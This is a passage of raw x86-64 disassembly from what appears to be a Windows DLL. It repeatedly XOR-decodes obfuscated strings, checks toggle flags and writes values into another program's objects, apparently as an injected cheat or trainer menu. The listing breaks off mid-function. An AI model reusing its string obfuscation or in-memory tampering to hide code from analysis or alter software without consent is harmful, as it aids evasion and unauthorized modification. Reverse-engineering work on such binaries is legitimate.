mov rax, qword [0x180249268]
mov rcx, qword [rax]
mov rdx, qword [rcx + 8]
test rdx, rdx
je 0x18008744f
mov rax, qword [0x180249310]
movss xmm0, dword [0x180248fa0]
movss dword [rdx + rax], xmm0
call fcn.180016980
addss xmm0, xmm7
call fcn.1800257a0
lea rcx, [rbp + 0x3f8]
call fcn.180016840
cmp byte [0x1801c2d4d], r14b
movss xmm0, dword [rax]
mov eax, dword [0x1801c2d48]
movss dword [rbp + 0x400], xmm0
movsd xmm0, qword [str.dVV_UV]
mov dword [rbp + 0x1ab8], eax
movzx eax, word [0x1801c2d4c]
movsd qword [rbp + 0x1ab0], xmm0
mov word [rbp + 0x1abc], ax
mov dword [rbp + 0x404], 0x41f00000
je 0x1800875f4
mov r8d, r14d
cmp r12d, 2
jl 0x1800875b0
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.dVV_UV]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1ab0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ab4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ab4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ab0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800875c0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x1ab0]
call fcn.180002c70
test al, al
je 0x18008767e
mov rax, qword [0x180249268]
mov rcx, qword [rax]
mov rbx, qword [rcx + 8]
test rbx, rbx
je 0x18008767e
mov rdx, qword [0x180249220]
mov dword [rbp + 0x2f00], r14d
cmp byte [rdx], 0x40
jne 0x18008767e
mov rax, qword [0x180249230]
cmp byte [rax], 0x48
jne 0x18008767e
lea rcx, [rbp + 0x2f00]
call rdx
mov eax, dword [rbp + 0x2f00]
xor r9d, r9d
mov dword [rsp + 0x38], eax
xor r8d, r8d
mov dword [rsp + 0x30], r14d
xor edx, edx
mov qword [rsp + 0x28], r14
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [0x180249230]
mov rax, qword [0x1802493c8]
or dword [rbx + rax], 0x1000000
call fcn.180016980
addss xmm0, xmm7
call fcn.1800257a0
lea rcx, [rbp + 0x408]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c2d58]
movss dword [rbp + 0x410], xmm0
movsd xmm0, qword [str.eCY_eSHJY_5B]
mov dword [rbp + 0x1738], eax
movzx eax, byte [0x1801c2d5c]
movsd qword [rbp + 0x1730], xmm0
mov byte [rbp + 0x173c], al
mov dword [rbp + 0x414], 0x41f00000
cmp r12d, 2
jl 0x1800877d1
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.eCY_eSHJY_5B]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1730], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1734]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1734], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1730]
add r9, rax
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800877e0
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x1730]
call fcn.180002c70
test al, al
je 0x1800878e3
mov rax, qword [0x180249268]
mov rcx, qword [rax]
cmp qword [rcx + 8], r14
je 0x1800878e3
mov rdx, qword [0x18024b0a0]
mov r9d, reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x28], r14d
mov r8d, 8
mov rcx, rsi
mov dword [rsp + 0x20], 2
call fcn.1800e7d80
mov rdx, qword [0x18024b0a0]
mov r9d, gethostname
mov r8d, 6
mov dword [rsp + 0x28], r14d
mov rcx, rsi
mov dword [rsp + 0x20], 2
call fcn.1800e7d80
mov rdx, qword [0x18024b0a0]
mov r9d, Ordinal_79
mov r8d, 4
mov dword [rsp + 0x28], r14d
mov rcx, rsi
mov dword [rsp + 0x20], 2
call fcn.1800e7d80
mov rdx, qword [0x18024b0a0]
mov r9d, 0xb2
mov r8d, ntohs
mov dword [rsp + 0x28], r14d
mov rcx, rsi
mov dword [rsp + 0x20], 2
call fcn.1800e7d80
call fcn.180016980
addss xmm0, xmm7
call fcn.1800257a0
lea rcx, [rbp + 0x418]
call fcn.180016840
cmp byte [0x1801c2d67], r14b
movss xmm0, dword [rax]
mov rax, qword [str.eBQZS_Yu__XHehMT_]
mov qword [rbp + 0x428], rax
movss dword [rbp + 0x420], xmm0
mov dword [rbp + 0x424], 0x41f00000
je 0x180087a64
cmp r12d, 2
jl 0x180087a21
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x428]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x428], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x42c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x42c], xmm2
jmp 0x180087a64
lea r9, [rbp + 0x428]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180087a30
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x428]
call fcn.180002c70
test al, al
je 0x180087a95
mov rax, qword [0x180249268]
mov rcx, qword [rax]
mov rax, qword [rcx + 8]
test rax, rax
je 0x180087a95
mov dword [rax + 0x280], r14d
call fcn.180016980
addss xmm0, xmm7
call fcn.1800257a0
lea rcx, [rbp + 0x430]
call fcn.180016840
movzx ecx, word [0x1801c2d70]
lea rdx, [rbp + 0x438]
movss xmm0, dword [rax]
movzx eax, byte [0x1801c2d72]
mov word [rbp + 0x1310], cx
xor al, 0x40
xor byte [rbp + 0x1311], 0x3f
xor cl, 0x3e
movss dword [rbp + 0x438], xmm0
movsd xmm0, qword [0x1801c2d68]
movsd qword [rbp + 0x1308], xmm0
xor byte [rbp + 0x1309], 0x37
xor byte [rbp + 0x130a], 0x38
xor byte [rbp + 0x130b], 0x39
xor byte [rbp + 0x130c], 0x3a
xor byte [rbp + 0x130d], 0x3b
xor byte [rbp + 0x130e], 0x3c
xor byte [rbp + 0x130f], 0x3d
mov byte [rbp + 0x1310], cl
lea rcx, [rbp + 0x1308]
mov byte [rbp + 0x1308], 0x43
mov dword [rbp + 0x43c], 0x41f00000
mov byte [rbp + 0x1312], al
call fcn.180002c70
test al, al
je 0x180087b8c
mov rax, qword [0x180249268]
mov rcx, qword [rax]
mov rdx, qword [rcx + 8]
test rdx, rdx
je 0x180087b8c
movsd xmm0, qword [rdx + 0x90]
lea r8, [rsp + 0x50]
mov eax, dword [rdx + 0x98]
xor r9d, r9d
mov rcx, rsi
movsd qword [rsp + 0x50], xmm0
mov dword [rsp + 0x58], eax
call fcn.1800e7d20
call fcn.180016980
addss xmm0, xmm7
call fcn.1800257a0
lea rcx, [rbp + 0x440]
call fcn.180016840
cmp byte [0x1801c2d7f], r14b
movss xmm0, dword [rax]
mov rax, qword [0x1801c2d78]
mov qword [rbp + 0x450], rax
movss dword [rbp + 0x448], xmm0
mov dword [rbp + 0x44c], 0x41f00000
je 0x180087d14
cmp r12d, 2
jl 0x180087cca
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x450]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x450], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x454]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x454], xmm2
jmp 0x180087d14
lea r9, [rbp + 0x450]
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180087ce0
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x450]
call fcn.180002c70
test al, al
je 0x180087d53
mov rax, qword [0x180249268]
mov rcx, qword [rax]
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x180087d53
mov rax, qword [0x1802491f8]
mov rbx, qword [0x180249408]
call rax
mov rcx, rax
call rbx
call fcn.180016980
addss xmm0, xmm7
call fcn.1800257a0
lea rcx, [rbp + 0x458]
call fcn.180016840
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0xe18]
movss xmm0, dword [rax]
movzx eax, byte [0x1801c2d88]
movss dword [rbp + 0x460], xmm0
xor al, 0x3e
movsd xmm0, qword [0x1801c2d80]
movsd qword [rbp + 0xe18], xmm0
xor byte [rbp + 0xe19], 0x37
xor byte [rbp + 0xe1a], 0x38
xor byte [rbp + 0xe1b], 0x39
xor byte [rbp + 0xe1c], 0x3a
xor byte [rbp + 0xe1d], 0x3b
xor byte [rbp + 0xe1e], 0x3c
xor byte [rbp + 0xe1f], 0x3d
mov byte [rbp + 0xe18], 0x53
mov dword [rbp + 0x464], 0x41f00000
mov byte [rbp + 0xe20], al
call fcn.180002c70
test al, al
je 0x180087e0e
cmp qword [0x18024b0a0], r14
je 0x180087e0e
mov ecx, dword [0x18024dbf4]
cmp ecx, 0x18
jg 0x180087e0e
mov rax, qword [0x1802492d8]
mov dword [rax], ecx
call fcn.180006c20
cmp byte [0x1801c2d9b], r14b
movsd xmm0, qword [0x1801c2d90]
mov eax, dword [0x1801c2d98]
movsd qword [rbp + 0x15b8], xmm0
mov dword [rbp + 0x468], 0x43a00000
mov dword [rbp + 0x46c], 0x436b4405
mov dword [rbp + 0x15c0], eax
je 0x180087f94
mov r8d, r14d
cmp r12d, 2
jl 0x180087f4a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2d90]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x15b8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15bc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15bc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15b8]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180087f60
xor r9d, r9d
lea rdx, [rbp + 0x468]
mov r8b, 1
lea rcx, [rbp + 0x15b8]
call fcn.180003d00
mov eax, dword [0x1801c2da8]
mov r8d, r14d
movsd xmm0, qword [0x1801c2da0]
mov dword [rbp + 0x1748], eax
movzx eax, byte [0x1801c2dac]
mov byte [rbp + 0x174c], al
movsd qword [rbp + 0x1740], xmm0
cmp r12d, 2
jl 0x1800880d0
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2da0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1740], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1744]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1744], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1740]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800880e0
movss xmm2, dword [0x1801ad7b4]
lea rdx, [0x180248f70]
mov dword [rsp + 0x28], r14d
lea rcx, [rbp + 0x1740]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rdi
call fcn.180008e50
movzx ecx, word [0x1801c2db4]
lea rdx, [0x180248f9c]
mov eax, dword [0x1801c2db0]
movaps xmm2, xmm8
movss xmm6, dword [0x1801b3f38]
mov dword [rbp + 0x1c0], eax
movaps xmm3, xmm6
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1c1], 0x37
xor al, 0x3c
xor byte [rbp + 0x1c2], 0x38
xor byte [rbp + 0x1c3], 0x39
mov word [rbp + 0x1c4], cx
xor cl, 0x3a
xor byte [rbp + 0x1c5], 0x3b
mov byte [rbp + 0x1c4], cl
lea rcx, [rbp + 0x1c0]
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x1c0], 0x48
mov byte [rbp + 0x1c6], al
mov qword [rsp + 0x20], rdi
call fcn.180008e50
mov eax, dword [0x1801c2db8]
lea rdx, [0x180248fa0]
mov dword [rbp + 0xf8], eax
lea rcx, [rbp + 0xf8]
movzx eax, word [0x1801c2dbc]
movaps xmm3, xmm6
xor byte [rbp + 0xf9], 0x37
movaps xmm2, xmm8
xor byte [rbp + 0xfa], 0x38
xor byte [rbp + 0xfb], 0x39
mov word [rbp + 0xfc], ax
xor al, 0x3a
xor byte [rbp + 0xfd], 0x3b
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0xfc], al
mov byte [rbp + 0xf8], 0x41
mov qword [rsp + 0x20], rdi
call fcn.180008e50
cmp byte [0x1801c2dcb], r14b
movsd xmm0, qword [0x1801c2dc0]
mov eax, dword [0x1801c2dc8]
movsd qword [rbp + 0x15c8], xmm0
mov dword [rbp + 0x15d0], eax
je 0x180088394
mov r8d, r14d
cmp r12d, 2
jl 0x180088349
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c2dc0]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x15c8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15cc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15cc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15c8]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180088360
mov dword [rsp + 0x28], r14d
lea rdx, [0x180248f98]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rdi
movaps xmm2, xmm8
lea rcx, [rbp + 0x15c8]
call fcn.180008e50
movzx eax, word [0x1801c2dd8]
lea rdx, [0x180248fb8]
movsd xmm0, qword [0x1801c2dd0]
lea rcx, [rbp + 0x1318]
movsd qword [rbp + 0x1318], xmm0
movaps xmm3, xmm6
xor byte [rbp + 0x1319], 0x37
movaps xmm2, xmm8
xor byte [rbp + 0x131a], 0x38
xor byte [rbp + 0x131b], 0x39
xor byte [rbp + 0x131c], 0x3a
xor byte [rbp + 0x131d], 0x3b
xor byte [rbp + 0x131e], 0x3c
xor byte [rbp + 0x131f], 0x3d
mov word [rbp + 0x1320], ax
movzx eax, byte [0x1801c2dda]
xor byte [rbp + 0x1320], 0x3e
xor al, 0x40
xor byte [rbp + 0x1321], 0x3f
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x1322], al
mov byte [rbp + 0x1318], 0x41
mov qword [rsp + 0x20], rdi
call fcn.180008e50
mov eax, dword [str.bU:]
lea rbx, [0x1801b3b4c]
mov dword [rbp + 8], eax
lea rdx, [0x18024dbf4]
movzx eax, byte [0x1801c2de0]
lea rcx, [rbp + 8]
xor byte [rbp + 9], 0x37
xor al, 0x3a
xor byte [rbp + 0xa], 0x38
mov r9d, reloc.WS2_32.dll_socket
xor byte [rbp + 0xb], 0x39
xor r8d, r8d
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0xc], al
mov byte [rbp + 8], 0x54
mov qword [rsp + 0x20], rbx
call fcn.180008ec0
movzx eax, byte [0x1801c2df0]
lea rdx, [0x18024918c]
movsd xmm0, qword [str.w_LPNNXX_]
lea rcx, [rbp + 0xe28]
movss xmm7, dword [0x1801ad7bc]
xor al, 0x3e
movss xmm3, dword [0x1801c6df0]
movaps xmm2, xmm7
movsd qword [rbp + 0xe28], xmm0
xor byte [rbp + 0xe29], 0x37
xor byte [rbp + 0xe2a], 0x38
xor byte [rbp + 0xe2b], 0x39
xor byte [rbp + 0xe2c], 0x3a
xor byte [rbp + 0xe2d], 0x3b
xor byte [rbp + 0xe2e], 0x3c
xor byte [rbp + 0xe2f], 0x3d
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0xe30], al
mov byte [rbp + 0xe28], 0x41
mov qword [rsp + 0x20], rdi
call fcn.180008e50
call fcn.180006c20
call fcn.180013d50
jmp 0x180088539
movss xmm7, dword [0x1801ad7bc]
cmp dword [0x18024dbfc], 1
lea rdi, [0x180000000]
jne 0x18009164c
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x470]
addss xmm0, dword [0x1801c6db8]
mov dword [rbp + 0x470], 0x43520000
movss dword [rbp + 0x474], xmm0
call fcn.180025700
mov eax, dword [0x1801c2df4]
lea rdx, [rbp + 0x478]
mov dword [rbp + 0x10], eax
lea rcx, [rbp + 0x10]
movzx eax, byte [0x1801c2df8]
mov r9d, 8
xor byte [rbp + 0x11], 0x37
xor al, 0x3a
xor byte [rbp + 0x12], 0x38
xor r8d, r8d
xor byte [rbp + 0x13], 0x39
mov byte [rbp + 0x14], al
mov dword [rbp + 0x478], 0x43a50000
mov dword [rbp + 0x47c], 0x4405c000
mov byte [rbp + 0x10], Ordinal_79
call fcn.18000fcc0
mov eax, dword [str.eRT_:]
lea rdx, [rbp + 0x480]
mov dword [rbp + 0x18], eax
lea rcx, [rbp + 0x18]
movzx eax, byte [0x1801c2e00]
xor r9d, r9d
xor byte [rbp + 0x19], 0x37
xor al, 0x3a
xor byte [rbp + 0x1a], 0x38
mov r8b, 1
xor byte [rbp + 0x1b], 0x39
mov byte [rbp + 0x1c], al
mov dword [rbp + 0x480], 0x43a00000
mov dword [rbp + 0x484], 0x433e0000
mov byte [rbp + 0x18], 0x53
call fcn.180003d00
movzx ecx, word [0x1801c2e08]
lea rdx, [0x180248fbc]
mov eax, dword [str.sYY_V_]
mov dword [rbp + 0x1c8], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1c9], 0x37
xor al, 0x3c
xor byte [rbp + 0x1ca], 0x38
xor byte [rbp + 0x1cb], 0x39
mov word [rbp + 0x1cc], cx
xor cl, 0x3a
xor byte [rbp + 0x1cd], 0x3b
mov byte [rbp + 0x1cc], cl
lea rcx, [rbp + 0x1c8]
mov byte [rbp + 0x1c8], 0x45
mov byte [rbp + 0x1ce], al
call fcn.1800032d0
cmp byte [0x1801c2e19], r14b
movsd xmm0, qword [0x1801c2e10]
movzx eax, word [0x1801c2e18]
movsd qword [rbp + 0x10c8], xmm0
mov word [rbp + 0x10d0], ax
je 0x1800886f1
xor byte [rbp + 0x10c9], 0x37
xor byte [rbp + 0x10ca], 0x38
xor byte [rbp + 0x10cb], 0x39
xor byte [rbp + 0x10cc], 0x3a
xor byte [rbp + 0x10cd], 0x3b
xor byte [rbp + 0x10ce], 0x3c
xor byte [rbp + 0x10cf], 0x3d
xor byte [rbp + 0x10d0], 0x3e
xor byte [rbp + 0x10d1], 0x3f
mov byte [rbp + 0x10c8], Ordinal_79
lea rdx, [0x180248fbe]
lea rcx, [rbp + 0x10c8]
call fcn.1800032d0
cmp byte [0x1801c2e29], r14b
movsd xmm0, qword [0x1801c2e20]
movzx eax, word [0x1801c2e28]
movsd qword [rbp + 0x10d8], xmm0
mov word [rbp + 0x10e0], ax
je 0x180088771
xor byte [rbp + 0x10d9], 0x37
xor byte [rbp + 0x10da], 0x38
xor byte [rbp + 0x10db], 0x39
xor byte [rbp + 0x10dc], 0x3a
xor byte [rbp + 0x10dd], 0x3b
xor byte [rbp + 0x10de], 0x3c
xor byte [rbp + 0x10df], 0x3d
xor byte [rbp + 0x10e0], 0x3e
xor byte [rbp + 0x10e1], 0x3f
mov byte [rbp + 0x10d8], Ordinal_79
lea rdx, [0x180248fbf]
lea rcx, [rbp + 0x10d8]
call fcn.1800032d0
cmp byte [0x1801c2e3b], r14b
movsd xmm0, qword [str.pVKM]
mov eax, dword [0x1801c2e38]
movsd qword [rbp + 0x15d8], xmm0
mov dword [rbp + 0x15e0], eax
je 0x1800888f4
mov r8d, r14d
cmp r12d, 2
jl 0x1800888a7
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.pVKM]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x15d8], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15dc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x15dc], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x15d8]
